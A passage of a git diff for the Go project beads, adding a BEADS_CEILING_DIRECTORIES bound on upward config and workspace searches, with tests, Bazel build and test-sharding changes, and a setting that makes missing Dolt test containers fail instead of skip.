"BEADS_CEILING_DIRECTORIES" + +// Bound is the ceiling of one upward search. A nil Bound permits every +// directory, so callers can use it unconditionally. +type Bound struct { + start []string + ceilings []string +} + +// For returns the bound for a search starting at start, or nil when +// BEADS_CEILING_DIRECTORIES names no ceiling containing start. +func For(start string) *Bound { + list := os.Getenv(EnvVar) + if list == "" { + return nil + } + startForms := forms(start) + var ceilings []string + for _, entry := range filepath.SplitList(list) { + if entry == "" || !filepath.IsAbs(entry) { + continue + } + for _, c := range forms(entry) { + if anyWithin(startForms, c) { + ceilings = append(ceilings, c) + } + } + } + if len(ceilings) == 0 { + return nil + } + return &Bound{start: startForms, ceilings: ceilings} +} + +// Excludes reports whether the search must stop before examining dir: dir is +// not the start and is a ceiling or lies above one. +func (b *Bound) Excludes(dir string) bool { + if b == nil { + return false + } + dirForms := forms(dir) + for _, d := range dirForms { + for _, s := range b.start { + if d == s { + return false + } + } + } + for _, c := range b.ceilings { + for _, d := range dirForms { + if within(c, d) { + return true + } + } + } + return false +} + +// GitEnv returns env with GIT_CEILING_DIRECTORIES set to the beads ceilings, +// for git probes that locate a workspace (and have scrubbed inherited git +// routing). env is returned unchanged when BEADS_CEILING_DIRECTORIES is unset. +func GitEnv(env []string) []string { + list := os.Getenv(EnvVar) + if list == "" { + return env + } + out := make([]string, 0, len(env)+1) + for _, e := range env { + if !strings.HasPrefix(e, "GIT_CEILING_DIRECTORIES=") { + out = append(out, e) + } + } + return append(out, "GIT_CEILING_DIRECTORIES="+list) +} + +// forms returns the cleaned absolute path and, when it differs, its +// symlink-resolved form, so a ceiling and a walk that spell the same directory +// differently still meet. +func forms(path string) []string { + abs, err := filepath.Abs(path) + if err != nil { + return []string{filepath.Clean(path)} + } + abs = filepath.Clean(abs) + if resolved, err := filepath.EvalSymlinks(abs); err == nil && resolved != abs { + return []string{abs, resolved} + } + return []string{abs} +} + +// anyWithin reports whether any of paths is parent or lies below it. +func anyWithin(paths []string, parent string) bool { + for _, p := range paths { + if within(p, parent) { + return true + } + } + return false +} + +func within(path, parent string) bool { + if path == parent { + return true + } + if !strings.HasSuffix(parent, string(filepath.Separator)) { + parent += string(filepath.Separator) + } + return strings.HasPrefix(path, parent) +} diff --git a/internal/ceiling/ceiling_test.go b/internal/ceiling/ceiling_test.go new file mode 100644 index 000000000..d5560f928 --- /dev/null +++ b/internal/ceiling/ceiling_test.go @@ -0,0 +1,102 @@ +package ceiling + +import ( + "os" + "path/filepath" + "slices" + "strings" + "testing" +) + +// walk mimics a discovery loop: every directory from start upward that the +// bound lets it examine. +func walk(start string) []string { + b := For(start) + var seen []string + for dir := start; ; dir = filepath.Dir(dir) { + if b.Excludes(dir) { + break + } + seen = append(seen, dir) + if filepath.Dir(dir) == dir { + break + } + } + return seen +} + +func TestUnsetExaminesEveryAncestor(t *testing.T) { + t.Setenv(EnvVar, "") + root := t.TempDir() + start := filepath.Join(root, "a", "b") + if For(start) != nil { + t.Fatal("For must return nil when the variable is unset") + } + got := walk(start) + if !slices.Contains(got, root) || got[len(got)-1] != filepath.Dir(got[len(got)-1]) { + t.Fatalf("unset ceiling must reach the filesystem root, got %v", got) + } +} + +func TestCeilingStopsBelowItself(t *testing.T) { + root := t.TempDir() + start := filepath.Join(root, "a", "b") + if err := os.MkdirAll(start, 0o755); err != nil { + t.Fatal(err) + } + t.Setenv(EnvVar, strings.Join([]string{"relative/ignored", "", root}, string(os.PathListSeparator))) + got := walk(start) + want := []string{start, filepath.Join(root, "a")} + if !slices.Equal(got, want) { + t.Fatalf("walk = %v, want %v", got, want) + } +} + +func TestStartAtCeilingIsExaminedButNothingAbove(t *testing.T) { + root := t.TempDir() + t.Setenv(EnvVar, root) + if got := walk(root); !slices.Equal(got, []string{root}) { + t.Fatalf("walk = %v, want only the start", got) + } +} + +func TestUnrelatedCeilingHasNoEffect(t *testing.T) { + root := t.TempDir() + other := filepath.Join(root, "other") + start := filepath.Join(root, "a") + t.Setenv(EnvVar, other) + if For(start) != nil { + t.Fatal("a ceiling that does not contain the start must not bound it") + } +} + +func TestCeilingMatchesThroughSymlink(t *testing.T) { + root := t.TempDir() + realDir := filepath.Join(root, "realDir") + start := filepath.Join(realDir, "a") + if err := os.MkdirAll(start, 0o755); err != nil { + t.Fatal(err) + } + link := filepath.Join(root, "link") + if err := os.Symlink(realDir, link); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + t.Setenv(EnvVar, link) + got := walk(start) + if !slices.Equal(got, []string{start}) { + t.Fatalf("walk = %v, want only %s (ceiling named through a symlink)", got, start) + } +} + +func TestGitEnv(t *testing.T) { + env := []string{"A=1", "GIT_CEILING_DIRECTORIES=/old"} + t.Setenv(EnvVar, "") + if got := GitEnv(env); !slices.Equal(got, env) { + t.Fatalf("unset: GitEnv = %v, want unchanged", got) + } + t.Setenv(EnvVar, "/x") + want := []string{"A=1", "GIT_CEILING_DIRECTORIES=/x"} + if got := GitEnv(env); !slices.Equal(got, want) { + t.Fatalf("GitEnv = %v, want %v", got, want) + } +} diff --git a/internal/config/BUILD.bazel b/internal/config/BUILD.bazel index 1474e1f71..b0d181fd1 100644 --- a/internal/config/BUILD.bazel +++ b/internal/config/BUILD.bazel @@ -17,6 +17,7 @@ go_library( importpath = "github.com/steveyegge/beads/internal/config", visibility = ["//:__subpackages__"], deps = [ + "//internal/ceiling", "//internal/debug", "//internal/gitenv", "@com_github_spf13_viper//:viper", diff --git a/internal/config/config.go b/internal/config/config.go index f6d5379f6..7a209329b 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -9,6 +9,7 @@ import ( "time" "github.com/spf13/viper" + "github.com/steveyegge/beads/internal/ceiling" "github.com/steveyegge/beads/internal/debug" "github.com/steveyegge/beads/internal/gitenv" "gopkg.in/yaml.v3" @@ -139,10 +140,12 @@ func Initialize() error { cwd, err := os.Getwd() if err == nil { + // BEADS_CEILING_DIRECTORIES bounds both upward walks below. + bound := ceiling.For(cwd) var moduleRoot string if ignoreRepoConfig { // Find module root by walking up to go.mod. - for dir := cwd; dir != filepath.Dir(dir); dir = filepath.Dir(dir) { + for dir := cwd; dir != filepath.Dir(dir) && !bound.Excludes(dir); dir = filepath.Dir(dir) { if _, err := os.Stat(filepath.Join(dir, "go.mod")); err == nil { moduleRoot = dir break @@ -172,7 +175,7 @@ func Initialize() error { } // Walk up parent directories to find .beads/config.yaml. - for dir := cwd; dir != filepath.Dir(dir); dir = filepath.Dir(dir) { + for dir := cwd; dir != filepath.Dir(dir) && !bound.Excludes(dir); dir = filepath.Dir(dir) { p := filepath.Join(dir, ".beads", "config.yaml") if _, err := os.Stat(p); err == nil { // When BEADS_DIR points at a different runtime workspace, do not @@ -442,8 +445,9 @@ func gitDirsForRepo(repoPath string) (gitDir, commonDir string, ok bool) { // stops, so dropping discovery ceilings can select a containing parent // repository above repoPath. That is the intended trade, and it applies here // too -- repoPath is the process working directory, not a proven repository - // root. - cmd.Env = gitenv.ScrubRouting(os.Environ()) + // root. An explicit BEADS_CEILING_DIRECTORIES is the exception: it is + // reapplied as the git ceiling (a no-op when unset). + cmd.Env = ceiling.GitEnv(gitenv.ScrubRouting(os.Environ())) output, err := cmd.Output() if err != nil { return "", "", false diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 2451584e7..9245e741b 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -282,6 +282,46 @@ func TestInitialize_IgnoresModuleRootConfigWhenRequested(t *testing.T) { } } +// TestInitialize_StopsAtBeadsCeiling pins that BEADS_CEILING_DIRECTORIES keeps +// the config.yaml walk from reaching a .beads at or above the ceiling — here +// an unparseable one that would fail Initialize if it were read. +func TestInitialize_StopsAtBeadsCeiling(t *testing.T) { + restore := envSnapshot(t) + defer restore() + + tmpDir := t.TempDir() + homeDir := filepath.Join(tmpDir, "home") + configDir := filepath.Join(tmpDir, "xdg-config") + ceilingDir := filepath.Join(tmpDir, "ceiling") + workDir := filepath.Join(ceilingDir, "work") + for _, dir := range []string{homeDir, configDir, workDir, filepath.Join(tmpDir, ".beads"), filepath.Join(ceilingDir, ".beads")} { + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatal(err) + } + } + for _, dir := range []string{tmpDir, ceilingDir} { + if err := os.WriteFile(filepath.Join(dir, ".beads", "config.yaml"), []byte("json: [unclosed\n"), 0o644); err != nil { + t.Fatal(err) + } + } + + t.Setenv("HOME", homeDir) + t.Setenv("XDG_CONFIG_HOME", configDir) + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "") + t.Setenv("BEADS_CEILING_DIRECTORIES", ceilingDir) + t.Chdir(workDir) + + ResetForTesting() + defer ResetForTesting() + + if err := Initialize(); err != nil { + t.Fatalf("Initialize() read config at or above the ceiling: %v", err) + } + if got := ConfigFileUsed(); got != "" { + t.Fatalf("ConfigFileUsed() = %q, want none below the ceiling", got) + } +} + func TestLocalConfigOverride(t *testing.T) { // Isolate from environment variables restore := envSnapshot(t) diff --git a/internal/config/yaml_config.go b/internal/config/yaml_config.go index 9429a92ba..b19969463 100644 --- a/internal/config/yaml_config.go +++ b/internal/config/yaml_config.go @@ -10,6 +10,7 @@ import ( "strconv" "strings" + "github.com/steveyegge/beads/internal/ceiling" "github.com/steveyegge/beads/internal/gitenv" "gopkg.in/yaml.v3" ) @@ -750,7 +751,8 @@ func findProjectBeadsDir() string { return "" } - for dir := cwd; dir != filepath.Dir(dir); dir = filepath.Dir(dir) { + bound := ceiling.For(cwd) + for dir := cwd; dir != filepath.Dir(dir) && !bound.Excludes(dir); dir = filepath.Dir(dir) { beadsDir := filepath.Join(dir, ".beads") if info, err := os.Stat(beadsDir); err == nil && info.IsDir() { return beadsDir diff --git a/internal/linear/BUILD.bazel b/internal/linear/BUILD.bazel index e0c952a91..b5a2fcf3d 100644 --- a/internal/linear/BUILD.bazel +++ b/internal/linear/BUILD.bazel @@ -57,6 +57,7 @@ go_test( ] + select({ "@rules_go//go/platform:windows": [ "//internal/lockfile", + "//internal/testutil/bazeltest", "@org_golang_x_sys//windows", ], "//conditions:default": [], diff --git a/internal/linear/synclock_info_windows_test.go b/internal/linear/synclock_info_windows_test.go index ff2e0ae67..07ffed2f0 100644 --- a/internal/linear/synclock_info_windows_test.go +++ b/internal/linear/synclock_info_windows_test.go @@ -19,6 +19,7 @@ import ( "time" "github.com/steveyegge/beads/internal/lockfile" + "github.com/steveyegge/beads/internal/testutil/bazeltest" "golang.org/x/sys/windows" ) @@ -756,7 +757,7 @@ type syncLockHelperProcess struct { func startSyncLockHelper(t *testing.T, dir, mode string) *syncLockHelperProcess { t.Helper() cmd := exec.Command(os.Args[0], "-test.run=^TestSyncLockWindowsSubprocessHelper$") - cmd.Env = append(os.Environ(), + cmd.Env = append(bazeltest.ShardFreeEnv(os.Environ()), syncLockHelperModeEnv+"="+mode, syncLockHelperDirEnv+"="+dir, ) diff --git a/internal/metrics/BUILD.bazel b/internal/metrics/BUILD.bazel index e7d9e14c1..dd2301a52 100644 --- a/internal/metrics/BUILD.bazel +++ b/internal/metrics/BUILD.bazel @@ -33,5 +33,8 @@ go_test( "userconfig_test.go", ], embed = [":metrics"], - deps = ["@in_gopkg_yaml_v3//:yaml_v3"], + deps = [ + "//internal/testutil/bazeltest", + "@in_gopkg_yaml_v3//:yaml_v3", + ], ) diff --git a/internal/metrics/spawn_reap_test.go b/internal/metrics/spawn_reap_test.go index f29fad0e5..323f88388 100644 --- a/internal/metrics/spawn_reap_test.go +++ b/internal/metrics/spawn_reap_test.go @@ -8,6 +8,8 @@ import ( "strings" "testing" "time" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) // TestStartDetachedReapsExitedChild is the GH#5900 regression: a child that @@ -27,7 +29,7 @@ func TestStartDetachedReapsExitedChild(t *testing.T) { } cmd := exec.Command(os.Args[0], "-test.run=^TestStartDetachedReapsExitedChild$") //nolint:gosec // test binary re-exec - cmd.Env = append(os.Environ(), "BD_TEST_FLUSHER_HELPER=1") + cmd.Env = append(bazeltest.ShardFreeEnv(os.Environ()), "BD_TEST_FLUSHER_HELPER=1") cmd.Stdin = nil cmd.Stdout = nil cmd.Stderr = nil diff --git a/internal/notion/BUILD.bazel b/internal/notion/BUILD.bazel index 925e24004..beb8b2aea 100644 --- a/internal/notion/BUILD.bazel +++ b/internal/notion/BUILD.bazel @@ -23,6 +23,7 @@ go_library( go_test( name = "notion_test", srcs = [ + "auth_test.go", "client_test.go", "mapping_test.go", "refs_test.go", @@ -30,6 +31,7 @@ go_test( ], embed = [":notion"], deps = [ + "//internal/config", "//internal/tracker", "//internal/types", ], diff --git a/internal/routing/BUILD.bazel b/internal/routing/BUILD.bazel index 5b24e7fcd..827dc8522 100644 --- a/internal/routing/BUILD.bazel +++ b/internal/routing/BUILD.bazel @@ -5,12 +5,18 @@ go_library( srcs = ["routing.go"], importpath = "github.com/steveyegge/beads/internal/routing", visibility = ["//:__subpackages__"], - deps = ["//internal/git"], + deps = [ + "//internal/git", + "//internal/gitenv", + ], ) go_test( name = "routing_test", srcs = ["routing_test.go"], embed = [":routing"], - deps = ["//internal/git"], + deps = [ + "//internal/git", + "//internal/gitenv", + ], ) diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index aea9eeb3d..ad5df66e8 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -54,6 +54,7 @@ go_library( "metadata.go", "metadata_cas.go", "remote.go", + "remote_ref.go", "storage.go", "sync.go", "version_control.go", @@ -98,6 +99,7 @@ go_test( "metadata_jsonpath_test.go", "metadata_schema_test.go", "metadata_test.go", + "remote_ref_test.go", "role_accessor_decorator_test.go", ], data = [ diff --git a/internal/storage/dbproxy/proxy/BUILD.bazel b/internal/storage/dbproxy/proxy/BUILD.bazel index b6bf2cf4c..afdd198ed 100644 --- a/internal/storage/dbproxy/proxy/BUILD.bazel +++ b/internal/storage/dbproxy/proxy/BUILD.bazel @@ -81,7 +81,15 @@ go_test( "//internal/storage/dbproxy/util", "@com_github_stretchr_testify//assert", "@com_github_stretchr_testify//require", - ], + ] + select({ + "@rules_go//go/platform:android": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:linux": [ + "//internal/testutil/bazeltest", + ], + "//conditions:default": [], + }), ) # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- diff --git a/internal/storage/dbproxy/proxy/force_stop_linux_test.go b/internal/storage/dbproxy/proxy/force_stop_linux_test.go index 4a4f4bf83..6bec80e60 100644 --- a/internal/storage/dbproxy/proxy/force_stop_linux_test.go +++ b/internal/storage/dbproxy/proxy/force_stop_linux_test.go @@ -14,6 +14,7 @@ import ( "github.com/steveyegge/beads/internal/storage/dbproxy/pidfile" "github.com/steveyegge/beads/internal/storage/dbproxy/server" "github.com/steveyegge/beads/internal/storage/dbproxy/util" + "github.com/steveyegge/beads/internal/testutil/bazeltest" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) @@ -197,7 +198,7 @@ func startNamedForceStopHelper(t *testing.T, dir, name string) helperProcess { } cmd := exec.Command(executable, "-test.run=^TestForceStopHelperProcess$") - cmd.Env = append(os.Environ(), forceStopHelperEnv+"=1") + cmd.Env = append(bazeltest.ShardFreeEnv(os.Environ()), forceStopHelperEnv+"=1") require.NoError(t, cmd.Start()) token, err := procid.Capture(cmd.Process.Pid) require.NoError(t, err) diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 7576e5f0c..5bf6acf98 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -140,6 +140,7 @@ go_test( "claim_verify_test.go", "claim_wrapper_smoke_test.go", "claimer_contract_test.go", + "cli_mirror_ref_test.go", "cli_transfer_timeout_test.go", "close_issue_checked_test.go", "close_policy_gate_test.go", @@ -359,7 +360,15 @@ go_test( "@com_github_data_dog_go_sqlmock//:go-sqlmock", "@com_github_go_sql_driver_mysql//:mysql", "@com_github_google_uuid//:uuid", - ], + ] + select({ + "@rules_go//go/platform:android": [ + "//internal/testutil/bazeltest", + ], + "@rules_go//go/platform:linux": [ + "//internal/testutil/bazeltest", + ], + "//conditions:default": [], + }), ) # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- diff --git a/internal/storage/dolt/suite_leak_linux_test.go b/internal/storage/dolt/suite_leak_linux_test.go index 538424153..769722d0f 100644 --- a/internal/storage/dolt/suite_leak_linux_test.go +++ b/internal/storage/dolt/suite_leak_linux_test.go @@ -12,6 +12,7 @@ import ( "time" "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) // This process boundary exercises the real TestMain allocation and exit policy, @@ -75,6 +76,7 @@ func TestSuiteFixtureLeakFailsOwningSuite(t *testing.T) { ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) defer cancel() child := exec.CommandContext(ctx, os.Args[0], "-test.run=^TestSuiteFixtureLeakFailsOwningSuite$", "-test.count=1") + child.Env = bazeltest.ShardFreeEnv(os.Environ()) child.ExtraFiles = []*os.File{readEnd} out, err := child.CombinedOutput() var exitErr *exec.ExitError diff --git a/internal/storage/doltutil/BUILD.bazel b/internal/storage/doltutil/BUILD.bazel index 613bd9d24..06c0be38a 100644 --- a/internal/storage/doltutil/BUILD.bazel +++ b/internal/storage/doltutil/BUILD.bazel @@ -6,6 +6,9 @@ go_library( "close.go", "dsn.go", "identifier.go", + "probe_pid_other.go", + "probe_pid_unix.go", + "probe_pid_windows.go", "remotes.go", ], importpath = "github.com/steveyegge/beads/internal/storage/doltutil", @@ -15,12 +18,18 @@ go_library( "//internal/remotecache", "//internal/storage", "@com_github_go_sql_driver_mysql//:mysql", - ], + ] + select({ + "@rules_go//go/platform:windows": [ + "@org_golang_x_sys//windows", + ], + "//conditions:default": [], + }), ) go_test( name = "doltutil_test", srcs = [ + "cli_mirror_ref_test.go", "close_test.go", "dsn_test.go", "identifier_test.go", @@ -28,6 +37,7 @@ go_test( "remotes_test.go", ], embed = [":doltutil"], + deps = ["//internal/storage"], ) # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- diff --git a/internal/storage/domain/BUILD.bazel b/internal/storage/domain/BUILD.bazel index f62f1f4ba..aa6fa9091 100644 --- a/internal/storage/domain/BUILD.bazel +++ b/internal/storage/domain/BUILD.bazel @@ -28,6 +28,7 @@ go_library( "//internal/idgen", "//internal/storage", "//internal/storage/dberrors", + "//internal/storage/doltutil", "//internal/types", "//internal/validation", "//issueops", @@ -41,6 +42,7 @@ go_test( "context_test.go", "infra_types_test.go", "issue_delete_missing_table_test.go", + "remote_test.go", ], embed = [":domain"], deps = [ diff --git a/internal/storage/domain/db/BUILD.bazel b/internal/storage/domain/db/BUILD.bazel index de42aa02a..fe51e3993 100644 --- a/internal/storage/domain/db/BUILD.bazel +++ b/internal/storage/domain/db/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "db", @@ -94,6 +95,7 @@ go_test( "ready_work_counts_test.go", "ready_work_missing_table_test.go", "ready_work_test.go", + "remote_test.go", "reopen_test.go", "reopen_usecase_test.go", "suite_test.go", @@ -121,6 +123,30 @@ go_test( ], ) +# The Dolt-backed db suite (TestDomainDB) as pr.yml's "Test (storage domain + +# uow)" job runs it: the suite starts a dolt sql-server container through +# testcontainers, and BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 turns a missing +# container into a failure instead of a silent skip. db_test itself stays +# untagged: under --config=prcore (BEADS_TEST_SKIP=dolt) the suite skips, as in +# pr-core's `go test`. +# +# Tags: +# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, +# selected by --config=docker. +# no-remote-exec: the daemon is on the host, not on remote workers. +sh_test( + name = "db_docker_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :db_test)"], + data = [":db_test"], + env = {"BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1"}, + tags = [ + "no-remote-exec", + "requires-docker", + ], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/domain/git/BUILD.bazel b/internal/storage/domain/git/BUILD.bazel index 5bcaebc89..32a3ada9b 100644 --- a/internal/storage/domain/git/BUILD.bazel +++ b/internal/storage/domain/git/BUILD.bazel @@ -7,6 +7,7 @@ go_library( visibility = ["//:__subpackages__"], deps = [ "//internal/git", + "//internal/gitenv", "//internal/storage/domain", ], ) @@ -19,7 +20,9 @@ go_test( ], embed = [":git"], deps = [ + "//internal/gitenv", "//internal/storage/domain", + "@com_github_stretchr_testify//require", "@com_github_stretchr_testify//suite", ], ) diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index ee79d758a..70e52e4cf 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -90,7 +90,8 @@ go_library( go_test( name = "embeddeddolt_test", - # -race -short runs ~6 min (pr-core gives go test -timeout=30m). + # -race -short runs ~6 min unsharded (pr-core gives go test -timeout=30m). + # Bazel shards by test count, not duration. size = "large", timeout = "long", srcs = [ @@ -136,6 +137,7 @@ go_test( "external_dependencies_test.go", "federation_credentials_test.go", "get_issue_test.go", + "git_ref_pin_test.go", "graph_counter_contract_test.go", "history_presence_contract_test.go", "history_test.go", @@ -189,6 +191,7 @@ go_test( "reject_stale_upsert_test.go", "relations_contract_test.go", "releaser_contract_test.go", + "remote_git_ref_test.go", "remote_migrate_gate_test.go", "remote_peer_auth_test.go", "remote_sync_gate_test.go", @@ -212,6 +215,7 @@ go_test( "workspace_config_contract_test.go", ], embed = [":embeddeddolt"], + shard_count = 8, deps = [ "//:beads", "//backend/conformance", @@ -221,16 +225,20 @@ go_test( "//internal/storage", "//internal/storage/dberrors", "//internal/storage/depid", + "//internal/storage/doltutil", "//internal/storage/domain/db", "//internal/storage/externaldeps", "//internal/storage/issueops", "//internal/storage/schema", "//internal/storage/storagecontract", "//internal/storage/versioncontrolops", + "//internal/testutil/bazeltest", "//internal/types", "//internal/workapi", "//issueops", "@com_github_data_dog_go_sqlmock//:go-sqlmock", + "@com_github_dolthub_dolt_go//libraries/doltcore/dbfactory", + "@com_github_dolthub_dolt_go//store/blobstore", "@com_github_google_uuid//:uuid", "@org_golang_x_sync//errgroup", ], diff --git a/internal/storage/embeddeddolt/concurrency_test.go b/internal/storage/embeddeddolt/concurrency_test.go index 40c0c304c..4c8855ad6 100644 --- a/internal/storage/embeddeddolt/concurrency_test.go +++ b/internal/storage/embeddeddolt/concurrency_test.go @@ -16,6 +16,7 @@ import ( "time" "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/testutil/bazeltest" "golang.org/x/sync/errgroup" ) @@ -96,7 +97,9 @@ func TestConcurrencyMultiProcess(t *testing.T) { eg.Go(func() error { t.Logf("proc %d: starting", procN) cmd := exec.CommandContext(egCtx, testBin, "-test.run=^TestHelperProcess$", "-test.v") - cmd.Env = append(os.Environ(), + // ShardFreeEnv: a sharded parent's TEST_SHARD_* would filter the + // child's one -test.run test away. + cmd.Env = append(bazeltest.ShardFreeEnv(os.Environ()), "BEADS_EMBEDDED_DOLT_HELPER=1", "BEADS_EMBEDDED_DOLT_DIR="+sharedDir, "BEADS_EMBEDDED_DOLT_ITERS="+strconv.Itoa(iters), diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index f248905e7..0862a9118 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "uow", @@ -184,6 +185,37 @@ go_test( ], ) +# The container-backed uow tests as pr.yml's "Test (storage domain + uow)" job +# runs them (no -short; each test starts its own dolt sql-server container), +# with BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 so a missing container fails instead +# of skipping. It repeats uow_test's `env` (go_test_variant.sh cannot inherit +# it). uow_test itself stays untagged: under --config=prcore those tests skip. +# +# Tags: +# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, +# selected by --config=docker. +# no-remote-exec: the daemon is on the host, not on remote workers. +sh_test( + name = "uow_docker_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :uow_test)"], + data = [ + ":uow_test", + "//cmd/bd:bd_for_tests", + ], + env = { + "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + }, + # ~12 min unsharded under -race on a loaded host (large allows 15). + shard_count = 4, + tags = [ + "no-remote-exec", + "requires-docker", + ], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/versioncontrolops/BUILD.bazel b/internal/storage/versioncontrolops/BUILD.bazel index 79dd60aa2..d33ea0127 100644 --- a/internal/storage/versioncontrolops/BUILD.bazel +++ b/internal/storage/versioncontrolops/BUILD.bazel @@ -44,6 +44,7 @@ go_test( "gc_test.go", "remotes_githooks_test.go", "remotes_gittrace_test.go", + "remotes_test.go", ], embed = [":versioncontrolops"], deps = [ diff --git a/internal/testutil/testdoltserver.go b/internal/testutil/testdoltserver.go index 2831231e7..367a0be70 100644 --- a/internal/testutil/testdoltserver.go +++ b/internal/testutil/testdoltserver.go @@ -98,6 +98,21 @@ func hasTestSkip(service string) bool { return false } +// EnvRequireDoltContainer, set to "1", turns a missing Dolt test container into +// a test failure instead of a skip in RequireDoltContainer and +// StartIsolatedDoltContainer(Handle). Lanes that exist to run the container +// suites (Bazel's requires-docker variants) set it so they cannot pass green +// having run nothing. +const EnvRequireDoltContainer = "BEADS_TEST_REQUIRE_DOLT_CONTAINER" + +func skipOrFailDoltUnavailable(t *testing.T, state doltReadiness) { + t.Helper() + if os.Getenv(EnvRequireDoltContainer) == "1" { + t.Fatalf("Dolt test container unavailable (%s) but %s=1; this lane must not skip", state, EnvRequireDoltContainer) + } + t.Skipf("skipping test: %s", state) +} + // checkDolt returns the readiness state for Dolt integration tests. // It composes hasTestSkip, isDockerAvailable, isDoltImageCached, and // isDoltRepoImageCached, caching the result. @@ -349,7 +364,7 @@ func (c *IsolatedDoltContainer) Exec(ctx context.Context, cmd []string) (int, st func StartIsolatedDoltContainerHandle(t *testing.T) *IsolatedDoltContainer { t.Helper() if state := checkDolt(); state != doltReady { - t.Skipf("skipping test: %s", state) + skipOrFailDoltUnavailable(t, state) } ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) @@ -420,7 +435,7 @@ func EnsureDoltContainerForTestMain() error { func RequireDoltContainer(t *testing.T) { t.Helper() if state := checkDolt(); state != doltReady { - t.Skipf("skipping test: %s", state) + skipOrFailDoltUnavailable(t, state) } ensureSharedContainer() diff --git a/internal/workspacegate/BUILD.bazel b/internal/workspacegate/BUILD.bazel index 54fbdad7d..530171afb 100644 --- a/internal/workspacegate/BUILD.bazel +++ b/internal/workspacegate/BUILD.bazel @@ -12,4 +12,5 @@ go_test( name = "workspacegate_test", srcs = ["gate_test.go"], embed = [":workspacegate"], + deps = ["//internal/testutil/bazeltest"], ) diff --git a/internal/workspacegate/gate_test.go b/internal/workspacegate/gate_test.go index cdeefe39e..4bcdd3ff1 100644 --- a/internal/workspacegate/gate_test.go +++ b/internal/workspacegate/gate_test.go @@ -14,6 +14,8 @@ import ( "strings" "testing" "time" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) // TestMain doubles as the cross-process helper: when WORKSPACEGATE_HELPER @@ -477,7 +479,7 @@ func deadPID(t *testing.T) int { t.Fatalf("os.Executable: %v", err) } cmd := exec.Command(exe) - cmd.Env = append(os.Environ(), "WORKSPACEGATE_HELPER=exit") + cmd.Env = append(bazeltest.ShardFreeEnv(os.Environ()), "WORKSPACEGATE_HELPER=exit") if err := cmd.Run(); err != nil { t.Fatalf("running exit helper: %v", err) } @@ -599,7 +601,7 @@ func spawnHolder(t *testing.T, dir, mode string) *holderProc { t.Fatalf("os.Executable: %v", err) } cmd := exec.Command(exe, dir, mode) - cmd.Env = append(os.Environ(), "WORKSPACEGATE_HELPER=hold") + cmd.Env = append(bazeltest.ShardFreeEnv(os.Environ()), "WORKSPACEGATE_HELPER=hold") stdin, err := cmd.StdinPipe() if err != nil { t.Fatal(err) @@ -710,7 +712,7 @@ func TestSpawnedChildDoesNotInheritGate(t *testing.T) { t.Fatal(err) } child := exec.Command(exe) - child.Env = append(os.Environ(), "WORKSPACEGATE_HELPER=sleep") + child.Env = append(bazeltest.ShardFreeEnv(os.Environ()), "WORKSPACEGATE_HELPER=sleep") if err := child.Start(); err != nil { t.Fatal(err) } diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 225817e09..934558474 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -1,5 +1,19 @@ load("@rules_go//go:def.bzl", "go_test") +# CI and repo-policy tests: they parse the workflows and run the CI shell +# scripts against fixtures. +# +# Tags: +# host-tools: the scripts and fixtures run the host's git, python3, awk, +# sed, find, grep and timeout (beyond the bash the test wrapper needs). +# Under Bazel a missing git or bash fails the test (under go test it +# skips). +# no-remote-exec: so they always run where that inventory is known (the +# developer machine or the CI runner). The farm workers do have these +# tools today (the target passes there), so this can be dropped once that +# is guaranteed. +# no-remote-cache: the action key does not cover the host's tools, so a +# result from one host is neither uploaded for nor served to another. go_test( name = "scripts_test", srcs = [ @@ -11,19 +25,25 @@ go_test( 